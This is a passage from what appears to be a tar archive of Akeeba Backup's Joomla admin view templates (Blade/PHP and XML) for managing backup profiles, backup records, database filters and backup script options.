                    @jhtml('select.options', $this->sortFields, 'value', 'text', $this->getLists()->order)
                </select>
            </div>
        </div>
    </section>

    <table class="adminlist akeeba-table akeeba-table--striped">
        <thead>
        <tr>
            <th width="20">
                <input type="checkbox" name="toggle" value="" class="akeebaGridViewCheckAll" />
            </th>
            <th width="40">
                @jhtml('grid.sort', 'JGRID_HEADING_ID', 'id', $this->lists->order_Dir, $this->lists->order, 'browse')
            </th>
            <th width="20%"></th>
            <th>
                @jhtml('grid.sort', 'COM_AKEEBA_PROFILES_COLLABEL_DESCRIPTION', 'description', $this->lists->order_Dir, $this->lists->order, 'browse')
            </th>
            <th>
                @lang('COM_AKEEBA_CONFIG_QUICKICON_LABEL')
            </th>
        </tr>
        </thead>
        <tfoot>
        <tr>
            <td colspan="11">
                {{ $this->pagination->getListFooter() }}

            </td>
        </tr>
        </tfoot>
        <tbody>
		<?php $i = 0; ?>
        @foreach( $this->items as $profile )
            <tr>
                <td>
                    @jhtml('grid.id', ++$i, $profile->id)
                </td>
                <td>
                    {{ (int) $profile->id }}
                </td>
                <td>
                    <a class="akeeba-btn akeeba-btn--small akeeba-btn--primary"
                       href="index.php?option=com_akeeba&task=SwitchProfile&profileid={{ (int)$profile->id }}&returnurl={{ base64_encode(\Joomla\CMS\Uri\Uri::base() . 'index.php?option=com_akeeba&view=Configuration') }}&@token(true)=1">
                        <span class="icon-cog icon-white"></span>
                        @lang('COM_AKEEBA_CONFIG_UI_CONFIG')
                    </a>
                    &nbsp;
                    <a class="akeeba-btn akeeba-btn--small akeeba-btn--dark"
                       href="index.php?option=com_akeeba&view=Profile&task=read&id={{ $profile->id }}&basename={{ \Joomla\CMS\Application\ApplicationHelper::stringURLSafe($profile->description) }}&format=json&@token(true)=1">
                        <span class="icon-download"></span>
                        @lang('COM_AKEEBA_PROFILES_BTN_EXPORT')
                    </a>
                </td>
                <td>
                    <a href="index.php?option=com_akeeba&amp;view=Profiles&amp;task=edit&amp;id={{ (int) $profile->id }}">
                        {{{ $profile->description }}}
                    </a>
                </td>
                <td>
                    @jhtml('FEFHelp.browse.published', $profile->quickicon, $i, 'quickicon_')
                </td>
            </tr>
        @endforeach
        </tbody>
    </table>

    <div class="akeeba-hidden-fields-container">
        <input type="hidden" name="option" value="com_akeeba" />
        <input type="hidden" name="view" value="Profiles" />
        <input type="hidden" name="boxchecked" id="boxchecked" value="0" />
        <input type="hidden" name="task" id="task" value="browse" />
        <input type="hidden" name="hidemainmenu" id="hidemainmenu" value="0" />
        <input type="hidden" name="filter_order" id="filter_order"
               value="{{{ $this->lists->order }}}" />
        <input type="hidden" name="filter_order_Dir" id="filter_order_Dir"
               value="{{{ $this->lists->order_Dir }}}" />
        <input type="hidden" name="@token(true)" value="1" />
    </div>
</form>

<form action="index.php" method="post" name="importForm" enctype="multipart/form-data"
      id="importForm"
      class="akeeba-form akeeba-form--inline akeeba-panel--primary"
>
    <input type="hidden" name="option" value="com_akeeba" />
    <input type="hidden" name="view" value="Profiles" />
    <input type="hidden" name="boxchecked" id="boxchecked" value="0" />
    <input type="hidden" name="task" id="task" value="import" />
    <input type="hidden" name="@token(true)" value="1" />

    <input type="file" name="importfile" class="input-medium" />

    <button class="akeeba-btn akeeba-btn--green">
        <span class="icon-upload icon-white"></span>
        @lang('COM_AKEEBA_PROFILES_HEADER_IMPORT')
    </button>

    <span class="help-inline">
		@lang('COM_AKEEBA_PROFILES_LBL_IMPORT_HELP')
	</span>
</form>
com_akeeba/tmpl/Manage/comment.blade.php000060400000002414152455305260014203 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

/** @var  \Akeeba\Backup\Admin\View\Manage\Html  $this */

?>
<form name="adminForm" id="adminForm" action="index.php" method="post" class="akeeba-form--horizontal">
	<div class="akeeba-form-group">
		<label for="description">
			@lang('COM_AKEEBA_BUADMIN_LABEL_DESCRIPTION')
		</label>
        <input type="text" name="description" id="description" maxlength="255" size="50"
               value="{{{ $this->record['description'] }}}" />
	</div>

	<div class="akeeba-form-group">
		<label for="comment">
			@lang('COM_AKEEBA_BUADMIN_LABEL_COMMENT')
		</label>
        @editor('comment',  $this->record['comment'], '100%', '400', '60', '20', array())
	</div>

    <div class="akeeba-hidden-fields-container">
        <input type="hidden" name="option" value="com_akeeba" />
        <input type="hidden" name="task" value="" />
        <input type="hidden" name="view" value="Manage" />
        <input type="hidden" name="id" value="{{ (int)$this->record['id'] }}" />
        <input type="hidden" name="@token(true)" value="1" />
    </div>
</form>
com_akeeba/tmpl/Manage/manage_column.blade.php000060400000014440152455305260015350 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Helper\Utils;

/** @var  \Akeeba\Backup\Admin\View\Manage\Html $this */
/** @var  array $record */

if (!isset($record['remote_filename']))
{
	$record['remote_filename'] = '';
}

$archiveExists    = $record['meta'] == 'ok';
$showManageRemote = $record['hasRemoteFiles'] && (AKEEBA_PRO == 1);
$engineForProfile = array_key_exists($record['profile_id'], $this->enginesPerProfile) ? $this->enginesPerProfile[$record['profile_id']] : 'none';
$showUploadRemote = $this->permissions['backup'] && $archiveExists && !$showManageRemote && ($engineForProfile != 'none') && ($record['meta'] != 'obsolete') && (AKEEBA_PRO == 1);
$showDownload     = $this->permissions['download'] && $archiveExists;
$showViewLog      = $this->permissions['backup'] && isset($record['backupid']) && !empty($record['backupid']);
$postProcEngine   = '';
$thisPart         = '';
$thisID           = urlencode($record['id']);

if ($showUploadRemote)
{
	$postProcEngine   = $engineForProfile ?: 'none';
	$showUploadRemote = !empty($postProcEngine);
}

\AkeebaFEFHelper::loadFEFScript('Tooltip');
?>
<div style="display: none">
    <div id="akeeba-buadmin-{{ (int)$record['id'] }}" tabindex="-1">
        <div class="akeeba-renderer-fef">
            <h4>@lang('COM_AKEEBA_BUADMIN_LBL_BACKUPINFO')</h4>

            <p>
                <strong>@lang('COM_AKEEBA_BUADMIN_LBL_ARCHIVEEXISTS')</strong>
                <br />
                @if($record['meta'] == 'ok')
                    <span class="akeeba-label--success">
				@lang('JYES')
			</span>
                @else
                    <span class="akeeba-label--failure">
				@lang('JNO')
			</span>
                @endif
            </p>
            <p>
                <strong>@lang('COM_AKEEBA_BUADMIN_LBL_ARCHIVEPATH' . ($archiveExists ? '' : '_PAST'))</strong>
                <br />
                <span class="akeeba-label--information">
				{{{ Utils::getRelativePath(JPATH_SITE, dirname($record['absolute_path'])) }}}
				</span>
            </p>
            <p>
                <strong>@lang('COM_AKEEBA_BUADMIN_LBL_ARCHIVENAME' . ($archiveExists ? '' : '_PAST'))</strong>
                <br />
                <code>
                    {{{ $record['archivename'] }}}
                </code>
            </p>
        </div>

    </div>

    @if($showDownload)
        <div id="akeeba-buadmin-download-{{ (int)$record['id'] }}" tabindex="-2" role="dialog">
            <div class="akeeba-renderer-fef">
                <div class="akeeba-block--warning">
                    <h4>
                        @lang('COM_AKEEBA_BUADMIN_LBL_DOWNLOAD_TITLE')
                    </h4>
                    <p>
                        @lang('COM_AKEEBA_BUADMIN_LBL_DOWNLOAD_WARNING')
                    </p>
                </div>

                @if($record['multipart'] < 2)
                    <a class="akeeba-btn--primary--small comAkeebaManageDownloadButton"
                       data-id="{{{ $record['id'] }}}">
                        <span class="akion-ios-download"></span>
                        @lang('COM_AKEEBA_BUADMIN_LOG_DOWNLOAD')
                    </a>
                @endif
                @if($record['multipart'] >= 2)
                    <div>
                        @sprintf('COM_AKEEBA_BUADMIN_LBL_DOWNLOAD_PARTS', (int)$record['multipart'])
                    </div>
                    @for($count = 0; $count < $record['multipart']; $count++)
                    @if($count > 0)
                    &bull;
                @endif
                <a class="akeeba-btn--small--dark comAkeebaManageDownloadButton"
                   data-id="{{{ $record['id'] }}}"
                   data-part="{{{ $count }}}">
                    <span class="akion-android-download"></span>
                    @sprintf('COM_AKEEBA_BUADMIN_LABEL_PART', $count)
                </a>
                @endfor
                @endif
            </div>
        </div>
    @endif
</div>

@if($showManageRemote)
    <div style="padding-bottom: 3pt;">
        <a class="akeeba-btn--primary akeeba_remote_management_link"
           data-management="index.php?option=com_akeeba&view=RemoteFiles&tmpl=component&task=listactions&id={{ (int)$record['id'] }}"
           data-reload="index.php?option=com_akeeba&view=Manage"
        >
            <span class="akion-cloud"></span>
            @lang('COM_AKEEBA_BUADMIN_LABEL_REMOTEFILEMGMT')
        </a>
    </div>
@elseif($showUploadRemote)
    <a class="akeeba-btn--primary akeeba_upload"
       data-upload="index.php?option=com_akeeba&view=Upload&tmpl=component&task=start&id={{ (int)$record['id'] }}"
       data-reload="index.php?option=com_akeeba&view=Manage"
       title="@sprintf('COM_AKEEBA_TRANSFER_DESC', JText::_("ENGINE_POSTPROC_{$postProcEngine}_TITLE"))">
        <span class="akion-android-upload"></span>
        @lang('COM_AKEEBA_TRANSFER_TITLE')
        (<em>{{{ $postProcEngine }}}</em>)
    </a>
@endif

<div style="padding-bottom: 3pt">
    @if($showDownload)
        <a class="akeeba-btn--{{ $showManageRemote || $showUploadRemote ? 'small--grey' : 'green' }} akeeba_download_button"
           data-dltarget="#akeeba-buadmin-download-{{ (int)$record['id'] }}"
        >
            <span class="akion-android-download"></span>
            @lang('COM_AKEEBA_BUADMIN_LOG_DOWNLOAD')
        </a>
    @endif

    @if($showViewLog)
        <a class="akeeba-btn--grey akeebaCommentPopover"
           {{ ($record['meta'] != 'obsolete') ? '' : 'disabled="disabled"' }}
           href="index.php?option=com_akeeba&view=Log&tag={{{ $record['tag'] }}}.{{{ $record['backupid'] }}}&profileid={{ (int)$record['profile_id'] }}"
           data-original-title="@lang('COM_AKEEBA_BUADMIN_LBL_LOGFILEID')"
           data-content="{{{ $record['backupid'] }}}">
            <span class="akion-ios-search-strong"></span>
            @lang('COM_AKEEBA_LOG')
        </a>
    @endif

    <a class="akeeba-btn--grey--small akeebaCommentPopover akeeba_showinfo_link"
       data-infotarget="#akeeba-buadmin-{{ (int)$record['id'] }}"
       data-content="@lang('COM_AKEEBA_BUADMIN_LBL_BACKUPINFO')"
    >
        <span class="akion-information-circled"></span>
    </a>
</div>
com_akeeba/tmpl/Manage/default.blade.php000060400000030765152455305260014177 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

/** @var  \Akeeba\Backup\Admin\View\Manage\Html $this */

\AkeebaFEFHelper::loadFEFScript('Tooltip');
?>
@jhtml('formbehavior.chosen')

@if (class_exists('Joomla\CMS\Component\ComponentHelper') && \Joomla\CMS\Component\ComponentHelper::isEnabled('com_akeebabackup'))
    @include('admin:com_akeeba/ControlPanel/backup8_uninstall')
	<?php return; ?>
@elseif (version_compare(JVERSION, '3.999.999', 'gt'))
    @include('admin:com_akeeba/ControlPanel/backup9_install')
@endif

<div id="akeebaBackup8Wrapper">
    @if($this->promptForBackupRestoration && version_compare(JVERSION, '3.999.999', 'le'))
        @include('admin:com_akeeba/Manage/howtorestore_modal')
    @endif

    <div class="akeeba-block--info">
        <h4>@lang('COM_AKEEBA_BUADMIN_LABEL_HOWDOIRESTORE_LEGEND')</h4>
        <p>
            @sprintf('COM_AKEEBA_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_' . (AKEEBA_PRO ? 'PRO' : 'CORE'), 'http://akee.ba/abrestoreanywhere', 'index.php?option=com_akeeba&view=Transfer', 'https://www.akeeba.com/latest-kickstart-core.zip')
        </p>
        <p>
            @if (!AKEEBA_PRO)
                @sprintf('COM_AKEEBA_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE_INFO_ABOUT_PRO', 'https://www.akeeba.com/products/akeeba-backup.html')
            @endif
        </p>
    </div>

    <div id="j-main-container">
        <form action="index.php" method="post" name="adminForm" id="adminForm" class="akeeba-form">

            <section class="akeeba-panel--33-66 akeeba-filter-bar-container">
                <div class="akeeba-filter-bar akeeba-filter-bar--left akeeba-form-section akeeba-form--inline">
                    <div class="akeeba-filter-element akeeba-form-group">
                        <input type="text" name="description" placeholder="@lang('COM_AKEEBA_BUADMIN_LABEL_DESCRIPTION')"
                                id="filter_description"
                                value="{{{ $this->fltDescription }}}"
                                title="@lang('COM_AKEEBA_BUADMIN_LABEL_DESCRIPTION')" />
                    </div>

                    <div class="akeeba-filter-element akeeba-form-group akeeba-filter-joomlacalendarfix">
                        @if (version_compare(JVERSION, '3.999.999', 'le'))
                            @jhtml('calendar', $this->fltFrom, 'from', 'from', '%Y-%m-%d', array('class' => 'input-small'))
                        @else
                            <input
                                    type="datetime-local"
                                    pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}"
                                    name="from"
                                    id="from"
                                    value="{{{ $this->fltFrom }}}"
                            >
                        @endif
                    </div>

                    <div class="akeeba-filter-element akeeba-form-group akeeba-filter-joomlacalendarfix">
                        @if (version_compare(JVERSION, '3.999.999', 'le'))
                            @jhtml('calendar', $this->fltTo, 'to', 'to', '%Y-%m-%d', array('class' => 'input-small'))
                        @else
                            <input
                                    type="datetime-local"
                                    pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}"
                                    name="to"
                                    id="to"
                                    value="{{{ $this->fltTo }}}"
                            >
                        @endif
                    </div>

                    <div class="akeeba-filter-element akeeba-form-group">
                        <button class="akeeba-btn--grey akeeba-btn--icon-only akeeba-btn--small akeeba-hidden-phone"
                                type="submit" title="@lang('JSEARCH_FILTER_SUBMIT')">
                            <span class="akion-search"></span>
                        </button>
                    </div>

                    <div class="akeeba-filter-element akeeba-form-group">
                        {{-- Joomla 3.x: Chosen does not work with attached event handlers, only with inline event scripts (e.g. onchange) --}}
                        @jhtml('select.genericlist', $this->profilesList, 'profile', ['list.select' => $this->fltProfile, 'list.attr' => ['class' => 'advancedSelect', 'onchange' => 'document.forms.adminForm.submit();'], 'id' => 'comAkeebaManageProfileSelector'])
                    </div>

                    <div class="akeeba-filter-element akeeba-form-group">
                        {{-- Joomla 3.x: Chosen does not work with attached event handlers, only with inline event scripts (e.g. onchange) --}}
                        @jhtml('select.genericlist', $this->frozenList, 'frozen', ['list.select' => $this->fltFrozen, 'list.attr' => ['class' => 'advancedSelect', 'onchange' => 'document.forms.adminForm.submit();'], 'id' => 'comAkeebaManageFrozenSelector'])
                    </div>
                </div>

                <div class="akeeba-filter-bar akeeba-filter-bar--right">
                    @jhtml('FEFHelp.browse.orderheader', null, $this->sortFields, $this->getPagination(), $this->lists->order, $this->lists->order_Dir)
                </div>
            </section>

            <table class="akeeba-table akeeba-table--striped" id="itemsList">
                <thead>
                <tr>
                    <th width="32">
                        @jhtml('FEFHelp.browse.checkall')
                    </th>
                    <th width="48" class="akeeba-hidden-phone">
                        @sortgrid('id', 'COM_AKEEBA_BUADMIN_LABEL_ID')
                    </th>
                    <th>
                        @sortgrid('frozen', 'COM_AKEEBA_BUADMIN_LABEL_FROZEN')
                    </th>
                    <th>
                        @sortgrid('description', 'COM_AKEEBA_BUADMIN_LABEL_DESCRIPTION')
                    </th>
                    <th class="akeeba-hidden-phone">
                        @sortgrid('profile_id', 'COM_AKEEBA_BUADMIN_LABEL_PROFILEID')
                    </th>
                    <th width="80">
                        @lang('COM_AKEEBA_BUADMIN_LABEL_DURATION')
                    </th>
                    <th width="40">
                        @lang('COM_AKEEBA_BUADMIN_LABEL_STATUS')
                    </th>
                    <th width="80" class="akeeba-hidden-phone">
                        @lang('COM_AKEEBA_BUADMIN_LABEL_SIZE')
                    </th>
                    <th class="akeeba-hidden-phone">
                        @lang('COM_AKEEBA_BUADMIN_LABEL_MANAGEANDDL')
                    </th>
                </tr>
                </thead>
                <tfoot>
                <tr>
                    <td colspan="11" class="center">
                        {{ $this->pagination->getListFooter() }}
                    </td>
                </tr>
                </tfoot>
                <tbody>
                @if(empty($this->items))
                    <tr>
                        <td colspan="11" class="center">
                            @lang('COM_AKEEBA_BACKUP_STATUS_NONE')
                        </td>
                    </tr>
                @endif
                @if( ! (empty($this->items)))
					<?php $id = 1; $i = 0; ?>
                    @foreach($this->items as $record)
						<?php
						$id = 1 - $id;
						[$originDescription, $originIcon] = $this->getOriginInformation($record);
						[$startTime, $duration, $timeZoneText] = $this->getTimeInformation($record);
						[$statusClass, $statusIcon] = $this->getStatusInformation($record);
						$profileName = $this->getProfileName($record);

						$frozenIcon  = 'akion-waterdrop';
						$frozenTask  = 'freeze';
						$frozenTitle = \JText::_('COM_AKEEBA_BUADMIN_LABEL_ACTION_FREEZE');

						if ($record['frozen'])
						{
							$frozenIcon  = 'akion-ios-snowy';
							$frozenTask  = 'unfreeze';
							$frozenTitle = \JText::_('COM_AKEEBA_BUADMIN_LABEL_ACTION_UNFREEZE');
						}
						?>
                        <tr class="row{{ $id }}">
                            <td>@jhtml('grid.id', ++$i, $record['id'])</td>
                            <td class="akeeba-hidden-phone">
                                {{{ $record['id'] }}}
                            </td>
                            <td>
                                <a href="#" onclick="return Joomla.listItemTask('cb{{ $i }}', '{{$frozenTask}}')" title="{{$frozenTitle}}">
                                    <span class="{{ $frozenIcon }}"></span>
                                </a>
                            </td>
                            <td>
						<span class="{{ $originIcon }} akeebaCommentPopover" rel="popover"
                                title="@lang('COM_AKEEBA_BUADMIN_LABEL_ORIGIN')"
                                data-content="{{{ $originDescription }}}"></span>
                                @if( ! (empty($record['comment'])))
                                    <span class="akion-help-circled akeebaCommentPopover" rel="popover"
                                            data-content="{{{ $record['comment'] }}}"></span>
                                @endif
                                <a href="{{{ JUri::base() }}}index.php?option=com_akeeba&view=Manage&task=showcomment&id={{{ $record['id'] }}}">
                                    {{{ empty($record['description']) ? JText::_('COM_AKEEBA_BUADMIN_LABEL_NODESCRIPTION') : $record['description'] }}}

                                </a>
                                <br />
                                <div class="akeeba-buadmin-startdate" title="@lang('COM_AKEEBA_BUADMIN_LABEL_START')">
                                    <small>
                                        <span class="akion-calendar"></span>
                                        {{{ $startTime }}} {{{ $timeZoneText }}}
                                    </small>
                                </div>
                            </td>
                            <td class="akeeba-hidden-phone">
                                #{{{ (int)$record['profile_id'] }}}. {{{ $profileName }}}

                                <br />
                                <small>
                                    <em>{{{ $this->translateBackupType($record['type']) }}}</em>
                                </small>
                            </td>
                            <td>
                                {{{ $duration }}}
                            </td>
                            <td>
						<span class="{{ $statusClass }} akeebaCommentPopover" rel="popover"
                                title="@lang('COM_AKEEBA_BUADMIN_LABEL_STATUS')"
                                data-content="@lang('COM_AKEEBA_BUADMIN_LABEL_STATUS_' . $record['meta'])">
							<span class="{{ $statusIcon }}"></span>
						</span>
                            </td>
                            <td class="akeeba-hidden-phone">
                                @if($record['meta'] == 'ok')
                                    {{{ $this->formatFilesize($record['size']) }}}

                                @elseif($record['total_size'] > 0)
                                    <i>{{ $this->formatFilesize($record['total_size']) }}</i>
                                    @else
                                    &mdash;
                                @endif
                            </td>
                            <td class="akeeba-hidden-phone">
                                @include('admin:com_akeeba/Manage/manage_column', ['record' => &$record])
                            </td>
                        </tr>
                    @endforeach
                @endif
                </tbody>
            </table>

            <div class="akeeba-hidden-fields-container">
                <input type="hidden" name="option" id="option" value="com_akeeba" />
                <input type="hidden" name="view" id="view" value="Manage" />
                <input type="hidden" name="boxchecked" id="boxchecked" value="0" />
                <input type="hidden" name="task" id="task" value="default" />
                <input type="hidden" name="filter_order" id="filter_order" value="{{{ $this->lists->order }}}" />
                <input type="hidden" name="filter_order_Dir" id="filter_order_Dir" value="{{{ $this->lists->order_Dir }}}" />
                <input type="hidden" name="@token(true)" value="1" />
            </div>
        </form>
    </div>
</div>com_akeeba/tmpl/Manage/howtorestore_modal.blade.php000060400000003301152455305260016455 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

/** @var  \Akeeba\Backup\Admin\View\Manage\Html $this */

// Make sure we only ever add this HTML and JS once per page
if (defined('AKEEBA_VIEW_JAVASCRIPT_HOWTORESTORE'))
{
	return;
}

define('AKEEBA_VIEW_JAVASCRIPT_HOWTORESTORE', 1);

$this->container->platform->getDocument()->addScriptOptions('akeeba.Manage.ShowHowToRestoreModal', 1);

?>
<div id="akeeba-config-howtorestore-bubble">
    <div class="akeeba-renderer-fef">
        <h4>@lang('COM_AKEEBA_BUADMIN_LABEL_HOWDOIRESTORE_LEGEND')</h4>
        <p>
            @sprintf('COM_AKEEBA_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_' . (AKEEBA_PRO ? 'PRO' : 'CORE'), 'http://akee.ba/abrestoreanywhere', 'index.php?option=com_akeeba&view=Transfer', 'https://www.akeeba.com/latest-kickstart-core.zip')
        </p>
        <p>
            @if (!AKEEBA_PRO)
                @sprintf('COM_AKEEBA_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE_INFO_ABOUT_PRO', 'https://www.akeeba.com/products/akeeba-backup.html')
            @endif
        </p>

        <div>
            <a class="akeeba-btn--primary" id="comAkeebaManageCloseHowToRestoreModal">
                <span class="akion-close"></span>
                @lang('COM_AKEEBA_BUADMIN_BTN_REMINDME')
            </a>
            <a href="index.php?option=com_akeeba&view=Manage&task=hidemodal" class="akeeba-btn--green">
                <span class="akion-checkmark-circled"></span>
                @lang('COM_AKEEBA_BUADMIN_BTN_DONTSHOWTHISAGAIN')
            </a>
        </div>
    </div>
</div>
com_akeeba/tmpl/Manage/default.xml000060400000000557152455305260013136 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBA_VIEW_MANAGE_TITLE">
		<message>
			<![CDATA[COM_AKEEBA_VIEW_MANAGE_DESC]]>
		</message>
	</layout>
</metadata>
com_akeeba/tmpl/DatabaseFilters/tabular.blade.php000060400000003065152455305260016043 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

/** @var \Akeeba\Backup\Admin\View\DatabaseFilters\Html $this */
?>
@include('admin:com_akeeba/CommonTemplates/ErrorModal')
@include('admin:com_akeeba/CommonTemplates/ProfileName')

<div class="AKEEBA_MASTER_FORM_STYLING akeeba-form--inline akeeba-panel--info">
    <div class="akeeba-form-group">
        <label>@lang('COM_AKEEBA_DBFILTER_LABEL_ROOTDIR')</label>
        <span>{{ $this->root_select }}</span>
    </div>
    <div id="addnewfilter" class="akeeba-form-group--actions">
        <label>
            @lang('COM_AKEEBA_FILEFILTERS_LABEL_ADDNEWFILTER')
        </label>

        <button class="akeeba-btn--grey" id="comAkeebaDatabaseFiltersAddNewTables">
            @lang('COM_AKEEBA_DBFILTER_TYPE_TABLES')
        </button>

        <button class="akeeba-btn--grey" id="comAkeebaDatabaseFiltersAddNewTableData">
            @lang('COM_AKEEBA_DBFILTER_TYPE_TABLEDATA')
        </button>
    </div>
</div>

<div class="akeeba-panel--primary">
    <div id="ak_list_container">
        <table id="ak_list_table" class="akeeba-table--striped">
            <thead>
            <tr>
                <td width="250px">@lang('COM_AKEEBA_FILEFILTERS_LABEL_TYPE')</td>
                <td>@lang('COM_AKEEBA_FILEFILTERS_LABEL_FILTERITEM')</td>
            </tr>
            </thead>
            <tbody id="ak_list_contents">
            </tbody>
        </table>
    </div>
</div>
com_akeeba/tmpl/DatabaseFilters/default.blade.php000060400000002536152455305260016037 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

/** @var \Akeeba\Backup\Admin\View\DatabaseFilters\Html $this */
?>
@include('admin:com_akeeba/CommonTemplates/ErrorModal')
@include('admin:com_akeeba/CommonTemplates/ProfileName')

<div class="AKEEBA_MASTER_FORM_STYLING akeeba-form--inline akeeba-panel--info">
    <div class="akeeba-form-group">
        <label>@lang('COM_AKEEBA_DBFILTER_LABEL_ROOTDIR')</label>
        {{ $this->root_select }}
    </div>
    <div class="akeeba-form-group--actions">
        <button class="akeeba-btn--green" id="comAkeebaDatabaseFiltersExcludeNonCMS">
            <span class="akion-ios-flag"></span>
            @lang('COM_AKEEBA_DBFILTER_LABEL_EXCLUDENONCORE')
        </button>
        <button class="akeeba-btn--red" id="comAkeebaDatabaseFiltersNuke">
            <span class="akion-ios-loop-strong"></span>
            @lang('COM_AKEEBA_DBFILTER_LABEL_NUKEFILTERS')
        </button>
    </div>
</div>

<div id="ak_main_container" class="akeeba-container--100">
</div>

<div class="akeeba-panel--info">
    <header class="akeeba-block-header">
        <h3>
            @lang('COM_AKEEBA_DBFILTER_LABEL_TABLES')
        </h3>
    </header>
    <div id="tables"></div>
</div>
com_akeeba/tmpl/Backup/script.blade.php000060400000005751152455305260014071 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

/**
 * This file passes parameters to the Backup.js script using Joomla's script options API
 *
 * @var  $this  \Akeeba\Backup\Admin\View\Backup\Html
 */

$escapedBaseURL = addslashes(Uri::base());
$platform       = $this->container->platform;

// Initialization
$platform->addScriptOptions('akeeba.Backup.defaultDescription', addslashes($this->defaultDescription));
$platform->addScriptOptions('akeeba.Backup.currentDescription', addslashes(empty($this->description) ? $this->defaultDescription : $this->description));
$platform->addScriptOptions('akeeba.Backup.currentComment', addslashes($this->comment));
$platform->addScriptOptions('akeeba.Backup.hasAngieKey', $this->hasANGIEPassword);

// Auto-resume setup
$platform->addScriptOptions('akeeba.Backup.resume.enabled', (bool) $this->autoResume);
$platform->addScriptOptions('akeeba.Backup.resume.timeout', (int) $this->autoResumeTimeout);
$platform->addScriptOptions('akeeba.Backup.resume.maxRetries', (int) $this->autoResumeRetries);

// The return URL
$platform->addScriptOptions('akeeba.Backup.returnUrl', addcslashes($this->returnURL, "'\\"));

// Used as parameters to start_timeout_bar()
$platform->addScriptOptions('akeeba.Backup.maxExecutionTime', (int) $this->maxExecutionTime);
$platform->addScriptOptions('akeeba.Backup.runtimeBias', (int) $this->runtimeBias);

// Notifications
$platform->addScriptOptions('akeeba.System.notification.iconURL', sprintf("%s../media/com_akeeba/icons/logo-48.png", $escapedBaseURL));
$platform->addScriptOptions('akeeba.System.notification.hasDesktopNotification', (bool) $this->desktopNotifications);

// Domain keys
$platform->addScriptOptions('akeeba.Backup.domains', $this->domains);

// AJAX proxy, View Log and ALICE URLs
$platform->addScriptOptions('akeeba.System.params.AjaxURL', 'index.php?option=com_akeeba&view=Backup&task=ajax');
$platform->addScriptOptions('akeeba.Backup.URLs.LogURL', sprintf("%sindex.php?option=com_akeeba&view=Log", $escapedBaseURL));
$platform->addScriptOptions('akeeba.Backup.URLs.AliceURL', sprintf("%sindex.php?option=com_akeeba&view=Alice", $escapedBaseURL));

// Behavior triggers
$platform->addScriptOptions('akeeba.Backup.autostart', (!$this->unwriteableOutput && $this->autoStart) ? 1 : 0);

// Push language strings to Javascript
Text::script('COM_AKEEBA_BACKUP_TEXT_LASTRESPONSE');
Text::script('COM_AKEEBA_BACKUP_TEXT_BACKUPSTARTED');
Text::script('COM_AKEEBA_BACKUP_TEXT_BACKUPFINISHED');
Text::script('COM_AKEEBA_BACKUP_TEXT_BACKUPHALT');
Text::script('COM_AKEEBA_BACKUP_TEXT_BACKUPRESUME');
Text::script('COM_AKEEBA_BACKUP_TEXT_BACKUPHALT_DESC');
Text::script('COM_AKEEBA_BACKUP_TEXT_BACKUPFAILED');
Text::script('COM_AKEEBA_BACKUP_TEXT_BACKUPWARNING');
Text::script('COM_AKEEBA_BACKUP_TEXT_AVGWARNING');
com_akeeba/tmpl/Backup/default.xml000060400000002724152455305260013151 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBA_VIEW_BACKUP_TITLE">
		<message>
			<![CDATA[COM_AKEEBA_VIEW_BACKUP_DESC]]>
		</message>
	</layout>
	<fields name="request" addfieldpath="administrator/components/com_akeeba/fields">
		<fieldset name="request">
			<field name="profileid" type="backupprofiles"
				   show_none="yes"
				   default="0"
				   label="COM_AKEEBA_VIEW_BACKUP_PROFILE_LABEL"
				   description="COM_AKEEBA_VIEW_BACKUP_PROFILE_DESC"
			/>

			<field name="autostart" type="fancyradio"
				   default="0"
				   class="btn-group"
				   label="COM_AKEEBA_VIEW_BACKUP_AUTOSTART_LABEL"
				   description="COM_AKEEBA_VIEW_BACKUP_AUTOSTART_DESC"
			>
				<option value="0">JNo</option>
				<option value="1">JYes</option>
			</field>

			<field name="akeeba_hide_toolbar" type="fancyradio"
				   default="0"
				   class="btn-group"
				   label="COM_AKEEBA_VIEW_BACKUP_HIDETOOLBAR_LABEL"
